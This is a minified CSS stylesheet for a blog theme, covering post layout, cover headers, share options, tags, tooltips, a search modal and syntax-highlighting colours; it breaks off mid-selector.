.pagination{position:relative;height:60px;line-height:60px;display:block;list-style:none;padding:0 10px;width:auto}.pagination-bar .pagination .pagination-next,.pagination-bar .pagination .pagination-prev{float:left;margin-right:10px}.pagination-bar .pagination .pagination-number{float:right;font-size:1.3rem;color:#9eabb3}.post{position:relative;width:100%;display:inline-block;vertical-align:top}.post .post-header .post-title{margin:0;word-break:initial;overflow:hidden}.post .post-header .post-title:hover{text-decoration:none}.post .post-meta{line-height:1.5em;font-family:"Open Sans",sans-serif;font-size:1.3rem;font-weight:400;color:#9eabb3}.post .post-meta a{color:#9eabb3}.post .post-content{text-rendering:optimizelegibility;letter-spacing:-.3px;font-family:Merriweather,serif;color:#5d686f;margin-top:20px;font-weight:400;overflow:hidden;-webkit-hypens:auto;-moz-hypens:auto;hypens:auto}.post .post-content img{display:block;width:auto;max-width:100%}.post .post-content :not(blockquote):not(.alert)>p{margin:1.5em 0 0 0}.post .post-footer{margin-top:20px}.post .post-footer-tags{padding-bottom:10px;margin-bottom:10px;border-bottom:1px solid #eef2f8}@media only screen and (min-width:768px) and (max-width:1023px){.post .post-header .post-title{font-size:3.3rem}}@media only screen and (min-width:1024px){.post .post-header .post-title{font-size:3.7rem}}@media only screen and (min-width:768px){.post-content{font-size:1.7rem}}.post-actions-wrap{height:60px;padding:0;line-height:60px;clear:both}.post-actions-wrap ul.post-actions{float:left;padding-left:0;margin-top:0;list-style:none}.post-actions-wrap ul.post-actions li.post-action{width:auto;text-align:center}.post-actions-wrap ul.post-action-nav{width:35%;z-index:42}.post-actions-wrap ul.post-action-nav li.post-action{float:left;min-width:42px}.post-actions-wrap ul.post-action-nav li.post-action:last-child .post-action-btn{margin-left:15px}.post-actions-wrap ul.post-action-share{width:65%;z-index:41}.post-actions-wrap ul.post-action-share li.post-action{float:right}.post-actions-wrap ul.post-action-share li.post-action:nth-child(n+3) .post-action-btn{margin-right:15px}@media only screen and (max-width:767px){.post-actions-wrap ul.post-action-nav{width:25%}.post-actions-wrap ul.post-action-share{width:75%}}@media only screen and (max-width:479px){.post-actions-wrap ul.post-action-nav{width:35%}.post-actions-wrap ul.post-action-share{width:65%}}@media print{.post-actions-wrap{display:none}}.pullquote{text-align:left;font-style:italic;margin:1.5em 0 0}.pullquote.figure.fig-20,.pullquote.figure.fig-25,.pullquote.figure.fig-33,.pullquote.figure.fig-50,.pullquote.figure.fig-75,.pullquote.left{width:45%;float:left;margin:1.5em 35px 1.5em 0}.pullquote.right{width:45%;float:right;margin:1.5em 0 1.5em 35px}.pullquote.blur{background-color:#eef0f1}.post-header .post-title{margin:0;word-break:initial;overflow:hidden}.post-header .post-title:hover{text-decoration:none}.post-header-cover{display:table;position:relative;top:0;left:0;background-size:cover;background-position:center;background-repeat:no-repeat;width:100%;padding:calc(55px + 30px) 0 30px 0;height:100%;z-index:15;transition:transform .25s ease-in-out;-webkit-transition:-webkit-transform .25s ease-in-out;-webkit-backface-visibility:hidden;-webkit-perspective:1000}.post-header-cover .post-header{display:table-cell;vertical-align:middle}.post-header-cover .post-header .post-title{max-width:750px;margin:0 auto;color:#fff;text-shadow:0 2px 0 rgba(0,0,0,.9);margin-bottom:20px}.post-header-cover .post-header .post-title:hover{text-decoration:none}.post-header-cover .post-header .post-meta{max-width:750px;font-family:"Open Sans",sans-serif;font-size:1.6rem;color:#fff!important;font-weight:400;letter-spacing:.05em;text-shadow:0 1px 0 rgba(0,0,0,.9);margin:0 auto}.post-header-cover .post-header .post-meta a{color:#fff}.post-header-cover.post-header-cover--partial{height:60%}.post-header-cover-caption{margin:5px 0 50px 0}@media only screen and (max-width:479px){.post-header-cover .post-header .post-title{font-size:2.8rem}}@media only screen and (min-width:480px) and (max-width:767px){.post-header-cover .post-header .post-title{font-size:3.3rem}}@media only screen and (max-width:767px){.post-header-cover{width:100%;left:0}.post-header-cover[data-behavior="1"],.post-header-cover[data-behavior="2"],.post-header-cover[data-behavior="4"],.post-header-cover[data-behavior="5"]{-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}.post-header-cover[data-behavior="1"].pushed,.post-header-cover[data-behavior="2"].pushed,.post-header-cover[data-behavior="4"].pushed,.post-header-cover[data-behavior="5"].pushed{margin-left:250px;width:calc(100% - 250px)}.post-header-cover[data-behavior="3"],.post-header-cover[data-behavior="6"]{-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}.post-header-cover[data-behavior="3"].pushed,.post-header-cover[data-behavior="6"].pushed{margin-left:75px;width:calc(100% - 75px)}}@media only screen and (min-width:768px) and (max-width:1023px){.post-header-cover .post-header .post-title{font-size:5.8rem;line-height:1.3em}.post-header-cover[data-behavior="1"],.post-header-cover[data-behavior="2"],.post-header-cover[data-behavior="3"]{width:calc(100% - 75px);left:75px}.post-header-cover[data-behavior="4"],.post-header-cover[data-behavior="5"]{width:100%;left:0;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}.post-header-cover[data-behavior="4"].pushed,.post-header-cover[data-behavior="5"].pushed{margin-left:250px;width:calc(100% - 250px)}.post-header-cover[data-behavior="6"]{width:100%;left:0;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}.post-header-cover[data-behavior="6"].pushed{margin-left:75px;width:calc(100% - 75px)}}@media only screen and (min-width:1024px) and (max-width:1279px){.post-header-cover .post-header .post-title{font-size:6.5rem;line-height:1.3em}.post-header-cover[data-behavior="1"],.post-header-cover[data-behavior="2"]{width:calc(100% - 250px);left:250px}.post-header-cover[data-behavior="3"]{width:calc(100% - 75px);left:75px}.post-header-cover[data-behavior="4"],.post-header-cover[data-behavior="5"]{width:100%;left:0;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}.post-header-cover[data-behavior="4"].pushed,.post-header-cover[data-behavior="5"].pushed{margin-left:250px;width:calc(100% - 250px)}.post-header-cover[data-behavior="6"]{width:100%;left:0;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}.post-header-cover[data-behavior="6"].pushed{margin-left:75px;width:calc(100% - 75px)}}@media only screen and (min-width:1280px){.post-header-cover .post-header .post-title{font-size:6.5rem;line-height:1.3em}.post-header-cover[data-behavior="1"]{width:calc(100% - 500px);left:500px}.post-header-cover[data-behavior="2"]{width:calc(100% - 250px);left:250px}.post-header-cover[data-behavior="3"]{width:calc(100% - 75px);left:75px}.post-header-cover[data-behavior="4"]{width:100%;left:0;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}.post-header-cover[data-behavior="4"].pushed{margin-left:500px;width:calc(100% - 500px)}.post-header-cover[data-behavior="5"]{width:100%;left:0;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}.post-header-cover[data-behavior="5"].pushed{margin-left:250px;width:calc(100% - 250px)}.post-header-cover[data-behavior="6"]{width:100%;left:0;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}.post-header-cover[data-behavior="6"].pushed{margin-left:75px;width:calc(100% - 75px)}}.postShorten-group .postShorten{margin-top:15px;border-bottom:1px solid #eef2f8}.postShorten{position:relative;width:100%;display:inline-block;vertical-align:top}.postShorten .postShorten-thumbnailimg{overflow:hidden}.postShorten .postShorten-header .postShorten-title{margin:0;word-break:initial;overflow:hidden}.postShorten .postShorten-header .postShorten-title:hover{text-decoration:none}.postShorten .postShorten-meta{line-height:1.5em}.postShorten .postShorten-meta a{color:#9eabb3}.postShorten .postShorten-meta,.postShorten .postShorten-readingtime{color:#9eabb3}.postShorten .postShorten-excerpt_link{margin-top:-15px}.postShorten .postShorten-excerpt_link,.postShorten .postShorten-meta,.postShorten .postShorten-readingtime{font-family:"Open Sans",sans-serif;font-size:1.3rem;font-weight:400}.postShorten .postShorten-content,.postShorten .postShorten-excerpt{text-rendering:optimizelegibility;letter-spacing:-.3px;font-family:Merriweather,serif;color:#5d686f;font-weight:400;overflow:hidden;-webkit-hypens:auto;-moz-hypens:auto;hypens:auto}.postShorten .postShorten-content img,.postShorten .postShorten-excerpt img{display:block;width:auto;max-width:100%}.postShorten .postShorten-excerpt{margin-top:15px}.postShorten .postShorten-excerpt p:nth-child(1){margin:0}.postShorten .postShorten-content{margin-top:25px}@media only screen and (max-width:479px){.postShorten .postShorten-thumbnailimg{display:none}.postShorten .postShorten-thumbnailimg img{display:none}}@media only screen and (min-width:480px){.postShorten.postShorten--thumbnailimg-right .postShorten-thumbnailimg{float:right;margin:5px 0 30px 15px}.postShorten.postShorten--thumbnailimg-right .postShorten-thumbnailimg img{display:block;width:140px;height:140px;object-fit:cover;overflow:hidden}.postShorten.postShorten--thumbnailimg-right .postShorten-wrap{float:left;width:calc(100% - 140px - 20px)}.postShorten.postShorten--thumbnailimg-left .postShorten-thumbnailimg{float:left;margin:5px 15px 30px 0}.postShorten.postShorten--thumbnailimg-left .postShorten-thumbnailimg img{display:block;width:140px;height:140px;object-fit:cover;overflow:hidden}.postShorten.postShorten--thumbnailimg-left .postShorten-wrap{float:right;width:calc(100% - 140px - 20px)}.postShorten.postShorten--thumbnailimg-top .postShorten-thumbnailimg{margin-top:5px}.postShorten.postShorten--thumbnailimg-bottom .postShorten-wrap{display:block;width:100%}.postShorten.postShorten--thumbnailimg-bottom .postShorten-excerpt>p{margin-bottom:0}.postShorten.postShorten--thumbnailimg-bottom .postShorten-thumbnailimg{display:block;width:100%;overflow:hidden;margin:15px 0 15px 0}.postShorten.postShorten--thumbnailimg-bottom .postShorten-thumbnailimg img{width:auto;height:auto}}.share-options-bar{position:fixed;bottom:-100%;background:#fff;height:100%;clear:both;border-top:1px solid #eef2f8;transition:transform .25s ease-in-out;z-index:50;-webkit-transition:-webkit-transform .25s ease-in-out;display:-webkit-flex;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:flex;flex-direction:column;justify-content:center;align-items:center}.share-options-bar.opened{-webkit-transform:translate3d(0,-100%,0);-moz-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.share-options-bar .share-options{padding:0;margin:0;list-style:none}.share-options-bar .share-options .share-option:first-child .share-option-btn{padding:20px 0 10px 0}.share-options-bar .share-options .share-option:last-child .share-option-btn{padding:10px 0 20px 0}.share-options-bar .share-options .share-option .share-option-btn{color:#6e7681;display:block;width:100%;padding:10px 0 10px 0}.share-options-bar .share-options .share-option .share-option-btn .fa{margin-right:15px}#btn-close-shareoptions{position:absolute;top:15px;right:15px;font-size:20px;color:#5d686f;cursor:pointer}@media only screen and (max-width:767px){.share-options-bar{width:100%}}@media only screen and (min-width:768px) and (max-width:1023px){.share-options-bar[data-behavior="1"],.share-options-bar[data-behavior="2"],.share-options-bar[data-behavior="3"]{width:calc(100% - 75px);left:75px}.share-options-bar[data-behavior="4"],.share-options-bar[data-behavior="5"],.share-options-bar[data-behavior="6"]{width:100%}}@media only screen and (min-width:1024px){.share-options-bar[data-behavior="1"],.share-options-bar[data-behavior="2"]{width:calc(100% - 250px);left:250px}.share-options-bar[data-behavior="3"]{width:calc(100% - 75px);left:75px}.share-options-bar[data-behavior="4"],.share-options-bar[data-behavior="5"],.share-options-bar[data-behavior="6"]{width:100%}}@media print{.share-options-bar{display:none}}.tag,a.tag{display:inline-block;background:#fff;width:auto;height:auto;border-radius:3px;letter-spacing:.01em;cursor:pointer;margin:0;margin-right:4px;margin-bottom:7px}.tag--default,a.tag--default{color:#9eabb3!important;border:1px solid #9eabb3}.tag--default:hover,a.tag--default:hover{color:#738691!important;border:1px solid #738691;text-decoration:none}.tag--success,a.tag--success{color:#4dc657!important;border:1px solid #4dc657}.tag--success:hover,a.tag--success:hover{color:#309639!important;border:1px solid #309639;text-decoration:none}.tag--primary,a.tag--primary{color:#349ef3!important;border:1px solid #349ef3}.tag--primary:hover,a.tag--primary:hover{color:#0c78ce!important;border:1px solid #0c78ce;text-decoration:none}.tag--danger,a.tag--danger{color:#f5311d!important;border:1px solid #f5311d}.tag--danger:hover,a.tag--danger:hover{color:#bd1908!important;border:1px solid #bd1908;text-decoration:none}.tag--default,a.tag--default{font-size:1.3rem;padding:4.5px 15px}.tag--small,a.tag--small{font-size:1.3rem;padding:2px 10px}.text-left{text-align:left!important}.text-right{text-align:right!important}.text-center{text-align:center!important}.text-justify{text-align:justify!important}.text-nowrap{white-space:nowrap!important}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.text-xsmall{font-size:1rem!important}.text-small{font-size:1.3rem!important}.text-medium{font-size:1.5rem!important}.text-base{font-size:1.6rem!important}.text-large{font-size:1.7rem!important}.text-xlarge{font-size:1.8rem!important}.text-strong{font-weight:700!important}.text-regular{font-weight:400!important}.text-light{font-weight:300!important}.text-italic{font-style:italic!important}.text-underline{text-decoration:underline!important}.text-underline-hover:hover{text-decoration:underline!important}.text-color-base{color:#5d686f!important}.text-color-light{color:#9eabb3!important}.text-color-link{color:#349ef3!important}.font-merryweather{font-family:Merriweather,serif}.tooltip,[data-tooltip]{position:relative;cursor:pointer}.tooltip:before,[data-tooltip]:before{z-index:1000;border:6px solid transparent;background:0 0;content:""}.tooltip:after,[data-tooltip]:after{z-index:1000;padding:8px;min-width:180px;background-color:rgba(0,0,20,.93);color:#fff;content:attr(data-tooltip);font-size:.93em;line-height:1.9em;border-radius:5px}.tooltip:after,.tooltip:before,[data-tooltip]:after,[data-tooltip]:before{position:absolute;visibility:hidden;opacity:0;-webkit-transition:opacity .2s ease-in-out,visibility .2s ease-in-out,-webkit-transform .2s cubic-bezier(.71,1.7,.77,1.24);-moz-transition:opacity .2s ease-in-out,visibility .2s ease-in-out,-moz-transform .2s cubic-bezier(.71,1.7,.77,1.24);transition:opacity .2s ease-in-out,visibility .2s ease-in-out,transform .2s cubic-bezier(.71,1.7,.77,1.24);-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);pointer-events:none}.tooltip:focus:after,.tooltip:focus:before,.tooltip:hover:after,.tooltip:hover:before,[data-tooltip]:focus:after,[data-tooltip]:focus:before,[data-tooltip]:hover:after,[data-tooltip]:hover:before{visibility:visible;opacity:1;-webkit-transform:translateY(-12px);-moz-transform:translateY(-12px);-ms-transform:translateY(-12px);-o-transform:translateY(-12px);transform:translateY(-12px)}.tooltip--top:before,.tooltip:before,[data-tooltip]:before{margin-bottom:-12px;border-top-color:rgba(0,0,20,.93)}.tooltip--top:after,.tooltip:after,[data-tooltip]:after{margin-left:-91px}.tooltip--top:after,.tooltip--top:before,.tooltip:after,.tooltip:before,[data-tooltip]:after,[data-tooltip]:before{bottom:100%;left:calc(50% - (15px / 2))}.tooltip--top:focus:after,.tooltip--top:focus:before,.tooltip--top:hover:after,.tooltip--top:hover:before,.tooltip:focus:after,.tooltip:focus:before,.tooltip:hover:after,.tooltip:hover:before,[data-tooltip]:focus:after,[data-tooltip]:focus:before,[data-tooltip]:hover:after,[data-tooltip]:hover:before{-webkit-transform:translateY(-12px);-moz-transform:translateY(-12px);-ms-transform:translateY(-12px);-o-transform:translateY(-12px);transform:translateY(-12px)}.tooltip--left:before{margin-left:0;margin-right:-12px;margin-bottom:0;border-top-color:transparent;border-left-color:rgba(0,0,20,.93)}.tooltip--left:after{margin-left:0;margin-bottom:-15px}.tooltip--left:after,.tooltip--left:before{right:100%;bottom:calc(50% - (15px / 2));left:auto}.tooltip--left:focus:after,.tooltip--left:focus:before,.tooltip--left:hover:after,.tooltip--left:hover:before{-webkit-transform:translateX(-12px);-moz-transform:translateX(-12px);-ms-transform:translateX(-12px);-o-transform:translateX(-12px);transform:translateX(-12px)}.tooltip--bottom:before{margin-top:-12px;margin-bottom:0;border-top-color:transparent;border-bottom-color:rgba(0,0,20,.93)}.tooltip--bottom:after,.tooltip--bottom:before{top:100%;bottom:auto;left:calc(50% - (15px / 2))}.tooltip--bottom:focus:after,.tooltip--bottom:focus:before,.tooltip--bottom:hover:after,.tooltip--bottom:hover:before{-webkit-transform:translateY(12px);-moz-transform:translateY(12px);-ms-transform:translateY(12px);-o-transform:translateY(12px);transform:translateY(12px)}.tooltip--right:before{margin-bottom:0;margin-left:-12px;border-top-color:transparent;border-right-color:rgba(0,0,20,.93)}.tooltip--right:after{margin-left:0;margin-bottom:-15px}.tooltip--right:after,.tooltip--right:before{bottom:calc(50% - (15px / 2));left:100%;right:auto}.tooltip--right:focus:after,.tooltip--right:focus:before,.tooltip--right:hover:after,.tooltip--right:hover:before{-webkit-transform:translateX(12px);-moz-transform:translateX(12px);-ms-transform:translateX(12px);-o-transform:translateX(12px);transform:translateX(12px)}.video-container{position:relative;height:0;overflow:hidden;padding-bottom:56.25%;margin:0 0 1.75em 0}.video-container embed,.video-container iframe,.video-container object{position:absolute;top:0;left:0;width:100%;height:100%;margin-top:0}#algolia-search-modal{display:none}#algolia-search-modal .search-icon{position:absolute;top:15px;left:15px;color:#5d686f}#algolia-search-modal .media-content{font-size:.95em}#algolia-search-modal .search-input{box-sizing:border-box;padding:0 130px 0 25px;margin:0}#algolia-search-modal .modal-header{padding-bottom:8px}#algolia-search-modal .modal-body{padding-top:15px;height:calc(100% - 100px - 15px)}#algolia-search-modal .media:nth-child(n+2){padding-top:15px}#algolia-search-modal hr{margin-top:0}#algolia-search-modal .results-count{line-height:50px;color:#5d686f}#algolia-search-modal .searchby-algolia{position:absolute;top:15px;right:45px}#algolia-search-modal .searchby-algolia-text{display:inline-block;vertical-align:top;line-height:20px;height:20px}#algolia-search-modal .searchby-algolia-logo{display:inline-block;vertical-align:top;height:20px}#algolia-search-modal .no-result{display:none;position:relative;top:50%;transform:translateY(-50%)}pre>code{background:#f7f8f8;color:#333}pre>code.codeblock{overflow-x:auto}code{background-color:#f7f8f8}.codeblock--tabbed figcaption .tab.active{background:#349ef3;color:#fff}.codeblock,figure.highlight{background:#f7f8f8;color:#333}.codeblock figcaption,figure.highlight figcaption{background:#f7f8f8;color:#999}.codeblock .gutter,figure.highlight .gutter{background:#f7f8f8;border-right-color:#e6e6e6}.codeblock .gutter .line,figure.highlight .gutter .line{color:#aaa}.codeblock .comment,figure.highlight .comment{color:#969896}.codeblock .string,figure.highlight .string{color:#183691}.codeblock .keyword,figure.highlight .keyword{color:#a71d5d}.codeblock.apacheconf .code .attribute,.codeblock.apacheconf .code .cbracket,.codeblock.apacheconf .code .common,.codeblock.apacheconf .code .keyword,.codeblock.apacheconf .code .nomarkup,.codeblock.apacheconf .code .variable,figure.highlight.apacheconf .code .attribute,figure.highlight.apacheconf .code .cbracket,figure.highlight.apacheconf .code .common,figure.highlight.apacheconf .code .keyword,figure.highlight.apacheconf .code .nomarkup,figure.highlight.apacheconf .code .variable{color:#0086b3}.codeblock.apacheconf .code .sqbracket,figure.highlight.apacheconf .code .sqbracket{color:#df5000}.codeblock.apacheconf .code .section,.codeblock.apacheconf .code .tag,figure.highlight.apacheconf .code .section,figure.highlight.apacheconf .code .tag{color:#63a35c}.codeblock.bash .code .shebang,figure.highlight.bash .code .shebang{color:#969896}.codeblock.bash .code .built_in,.codeblock.bash .code .literal,figure.highlight.bash .code .built_in,figure.highlight.bash .code .literal{color:#0086b3}.codeblock.bash .code .variable,figure.highlight.bash .code .variable{color:#333}.codeblock.bash .code .title,figure.highlight.bash .code .title{color:#795da3}.codeblock.coffeescript .code .title,figure.highlight.coffeescript .code .title{color:#795da3}.codeblock.coffeescript .code .built_in,.codeblock.coffeescript .code .literal,.codeblock.coffeescript .code .number,figure.highlight.coffeescript .code .built_in,figure.highlight.coffeescript .code .literal,figure.highlight.coffeescript .code .number{color:#0086b3}.codeblock.coffeescript .code .attribute,.codeblock.coffeescript .code .reserved,figure.highlight.coffeescript .code .attribute,figure.highlight.coffeescript .code .reserved{color:#1d3e81}.codeblock.coffeescript .code .attribute,.codeblock.coffeescript .code .regexp,.codeblock.coffeescript .code .subst,figure.highlight.coffeescript .code .attribute,figure.highlight.coffeescript .code .regexp,figure.highlight.coffeescript .code .subst{color:#df5000}.codeblock.c .code .preprocessor,.codeblock.cpp .code .preprocessor,figure.highlight.c .code .preprocessor,figure.highlight.cpp .code .preprocessor{color:#df5000}.codeblock.c .code .meta-keyword,.codeblock.cpp .code .meta-keyword,figure.highlight.c .code .meta-keyword,figure.highlight.cpp .code .meta-keyword{color:#a71d5d}.codeblock.c .code .title,.codeblock.cpp .code .title,figure.highlight.c .code .title,figure.highlight.cpp .code .title{color:#795da3}.codeblock.c .code .built_in,.codeblock.c .code .number,.codeblock.cpp .code .built_in,.codeblock.cpp .code .number,figure.highlight.c .code .built_in,figure.highlight.c .code .number,figure.highlight.cpp .code .built_in,figure.highlight.cpp .code .number{color:#0086b3}.codeblock.cs .code .preprocessor,.codeblock.cs .code .preprocessor .keyword,figure.highlight.cs .code .preprocessor,figure.highlight.cs .code .preprocessor .keyword{color:#333}.codeblock.cs .code .title,figure.highlight.cs .code .title{color:#795da3}.codeblock.cs .code .built_in,.codeblock.cs .code .number,figure.highlight.cs .code .built_in,figure.highlight.cs .code .number{color:#0086b3}.codeblock.cs .code .doctag,.codeblock.cs .code .xmlDocTag,figure.highlight.cs .code .doctag,figure.highlight.cs .code .xmlDocTag{color:#63a35c}.codeblock.css .code .at_rule,.codeblock.css .code .important,.codeblock.css .code .meta,figure.highlight.css .code .at_rule,figure.highlight.css .code .important,figure.highlight.css .code .meta{color:#a71d5d}.codeblock.css .code .attribute,.codeblock.css .code .function,.codeblock.css .code .hexcolor,.codeblock.css .code .number,figure.highlight.css .code .attribute,figure.highlight.css .code .function,figure.highlight.css .code .hexcolor,figure.highlight.css .code .number{color:#0086b3}.codeblock.css .code .attr_selector,.codeblock.css .code .value,figure.highlight.css .code .attr_selector,figure.highlight.css .code .value{color:#333}.codeblock.css .code .class,.codeblock.css .code .id,.codeblock.css .code .pseudo,.codeblock.css .code .selector-pseudo,figure.highlight.css .code .class,figure.highlight.css .code .id,figure.highlight.css .code .pseudo,figure.highlight.css .code .selector-pseudo{color:#795da3}.codeblock.css .code .selector-tag,.codeblock.css .code .tag,figure.highlight.css .code .selector-tag,figure.highlight.css .code .tag{color:#63a35c}.codeblock.diff .code .chunk,.codeblock.diff .code .meta,figure.highlight.diff .code .chunk,figure.highlight.diff .code .meta{color:#795da3;font-weight:700}.codeblock.diff .code .addition,figure.highlight.diff .code .addition{color:#55a532;background-color:#eaffea}.codeblock.diff .code .deletion,figure.highlight.diff .code .deletion{color:#bd2c00;background-color:#ffecec}.codeblock.http .code .attr,.codeblock.http .code .attribute,figure.highlight.http .code .attr,figure.highlight.http .code .attribute{color:#183691}.codeblock.http .code .literal,figure.highlight.http .code .literal{color:#0086b3}.codeblock.http .code .request,figure.highlight.http .code .request{color:#a71d5d}.codeblock.ini .code .section,.codeblock.ini .code .title,figure.highlight.ini .code .section,figure.highlight.ini .code .title{color:#795da3}.codeblock.ini .code .attr,.codeblock.ini .code .setting,figure.highlight.ini .code .attr,figure.highlight.ini .code .setting{color:#a71d5d}.codeblock.ini .code .keyword,.codeblock.ini .code .value,figure.highlight.ini .code .keyword,figure.highlight.ini .code .value{color:#333}.codeblock.java .code .title,figure.highlight.java .code .title{color:#795da3}.codeblock.java .code .javadoc,figure.highlight.java .code .javadoc{color:#969896}.codeblock.java .code .annotation,.codeblock.java .code .javadoctag,.codeblock.java .code .meta,figure.highlight.java .code .annotation,figure.highlight.java .code .javadoctag,figure.highlight.java .code .meta{color:#a71d5d}.codeblock.java .code .number,figure.highlight.java .code .number{color:#0086b3}.codeblock.java .code .params,figure.highlight.java .code .params{color:#1d3e81}.codeblock.js .code .built_in,.codeblock.js .code .title,figure.highlight.js .code .built_in,figure.highlight.js .code .title{color:#795da3}.codeblock.js .code .javadoc,figure.highlight.js .code .javadoc{color:#969896}.codeblock.js .code .javadoctag,.codeblock.js .code .tag,figure.highlight.js .code .javadoctag,figure.highlight.js .code .tag{color:#a71d5d}.codeblock.js .code .tag .title,figure.highlight.js .code .tag .title{color:#333}.codeblock.js .code .regexp,figure.highlight.js .code .regexp{color:#df5000}.codeblock.js .code .literal,.codeblock.js .code .number,figure.highlight.js .code .literal,figure.highlight.js .code .number{color:#0086b3}.codeblock.json .code .attribute,figure.highlight.json .code .attribute{color:#183691}.codeblock.json .code .literal,.codeblock.json .code .number,figure.highlight.json .code .literal,figure.highlight.json .code .number{color:#0086b3}.codeblock.mak .code .constant,figure.highlight.mak .code .constant{color:#333}.codeblock.mak .code .title,figure.highlight.mak .code .title{color:#795da3}.codeblock.mak .code .keyword,.codeblock.mak .code .meta-keyword,figure.highlight.mak .code .keyword,figure.highlight.mak .code .meta-keyword{color:#0086b3}.codeblock.md .code .blockquote,.codeblock.md .code .emphasis,.codeblock.md .code .link_label,.codeblock.md .code .quote,.codeblock.md .code .section,.codeblock.md .code .strong,.codeblock.md .code .value,figure.highlight.md .code .blockquote,figure.highlight.md .code .emphasis,figure.highlight.md .code .link_label,figure.highlight.md .code .quote,figure.highlight.md .code .section,figure.highlight.md .code .strong,figure.highlight.md .code .value{color:#183691}.codeblock.md .code .code,.codeblock.md .code .link_reference,.codeblock.md .code .symbol,figure.highlight.md .code .code,figure.highlight.md .code .link_reference,figure.highlight.md .code .symbol{color:#0086b3}.codeblock.md .code .link,.codeblock.md .code .link_url,figure.highlight.md .code .link,figure.highlight.md .code .link_url{text-decoration:underline}.codeblock.nginx .code .attribute,.codeblock.nginx .code .title,figure.highlight.nginx .code .attribute,figure.highlight.nginx .code .title{color:#a71d5d}.codeblock.nginx .code .built_in,.codeblock.nginx .code .literal,figure.highlight.nginx .code .built_in,figure.highlight.nginx .code .literal{color:#0086b3}.codeblock.nginx .code .regexp,figure.highlight.nginx .code .regexp{color:#183691}.codeblock.nginx .code .variable,figure.highlight.nginx .code .variable{color:#333}.codeblock.objectivec .code .meta,.codeblock.objectivec .code .preprocessor,figure.highlight.objectivec .code .meta,figure.highlight.objectivec .code .preprocessor{color:#a71d5d}.codeblock.objectivec .code .meta .title,.codeblock.objectivec .code .preprocessor .title,figure.highlight.objectivec .code .meta .title,figure.highlight.objectivec .code .preprocessor .title{color:#df5000}.codeblock.objectivec .code .meta-string,figure.highlight.objectivec .code .meta-string{color:#183691}.codeblock.objectivec .code .title,figure.highlight.objectivec .code .title{color:#795da3}.codeblock.objectivec .code .built_in,.codeblock.objectivec .code .literal,.codeblock.objectivec .code .number,figure.highlight.objectivec .code .built_in,figure.highlight.objectivec .code .literal,figure.highlight.objectivec .code .number{color:#0086b3}.codeblock.perl .code .sub,figure.highlight.perl .code .sub{color:#795da3}.codeblock.perl .code .title,figure.highlight.perl .code .title{color:#795da3}.codeblock.perl .code .regexp,figure.highlight.perl .code .regexp{color:#df5000}.codeblock.php .code .doctag,.codeblock.php .code .phpdoc,figure.highlight.php .code .doctag,figure.highlight.php .code .phpdoc{color:#a71d5d}.codeblock.php .code .regexp,figure.highlight.php .code .regexp{color:#df5000}.codeblock.php .code .literal,.codeblock.php .code .number,figure.highlight.php .code .literal,figure.highlight.php .code .number{color:#0086b3}.codeblock.php .code .title,figure.highlight.php .code .title{color:#795da3}.codeblock.python .code .decorator,.codeblock.python .code .meta,.codeblock.python .code .title,figure.highlight.python .code .decorator,figure.highlight.python .code .meta,figure.highlight.python .code .title{color:#795da3}.codeblock.python .code .number,figure.highlight.python .code .number{color:#0086b3}.codeblock.ruby .code .parent,.codeblock.ruby .code .title,figure.highlight.ruby .code .parent,figure.highlight.ruby .code .title{color:#795da3}.codeblock.ruby .code .constant,.codeblock.ruby .code .number,.codeblock.ruby .code .prompt,.codeblock.ruby .code .subst .keyword,.codeblock.ruby .code .symbol,figure.highlight.ruby .code .constant,figure.highlight.ruby .code .number,figure.highlight.ruby .code .prompt,figure.highlight.ruby .code .subst .keyword,figure.highlight.ruby .code .symbol{color:#0086b3}.codeblock.sql .built_in,figure.highlight.sql .built_in{color:#a71d5d}.codeblock.sql .number,figure.highlight.sql .number{color:#0086b3}.codeblock.html .tag,.codeblock.xml .tag,figure.highlight.html .tag,figure.highlight.xml .tag{color:#333}.codeblock.html .value,.codeblock.xml .value,figure.highlight.html .value,figure.highlight.xml .value{color:#183691}.codeblock.html .attr,.codeblock.html .attribute,.codeblock.xml .attr,.codeblock.xml .attribute,figure.highlight.html .attr,figure.highlight.html .attribute,figure.highlight.xml .attr,figure.highlight.xml .attribute{color:#795da3}.codeblock.html .name,.codeblock.html .title,.codeblock.xml .name,.codeblock.xml .title,figure.highlight.html .name,figure.highlight.html .title,figure.highlight.xml .name,figure.highlight.xml .title{color:#63a35c}.codeblock.puppet .title,figure.highlight.puppet .title{color:#795da3}.codeblock.puppet .function,figure.highlight.puppet .function{color:#0086b3}.codeblock.puppet .name,figure.highlight.puppet .name{color:#a71d5d}.codeblock.puppet .attr,figure.highlight.puppet .attr{color:#0086b3}.codeblock.less .at_rule,.codeblock.less .tag,figure.highlight.less .at_rule,figure.highlight.less .tag{color:#a71d5d}.codeblock.less .attribute,.codeblock.less .function,.codeblock.less .hexcolor,.codeblock.less .number,figure.highlight.less .attribute,figure.highlight.less .function,figure.highlight.less .hexcolor,figure.highlight.less .number{color:#0086b3}.codeblock.less .built_in,figure.highlight.less .built_in{color:#df5000}.codeblock.less .class,.codeblock.less .id,.codeblock.less .pseudo,.codeblock.less .selector-class,.codeblock.less .selector-id,.codeblock.less .selector-tag,figure.highlight.less .class,figure.highlight.less .id,figure.highlight.less .pseudo,figure.highlight.less 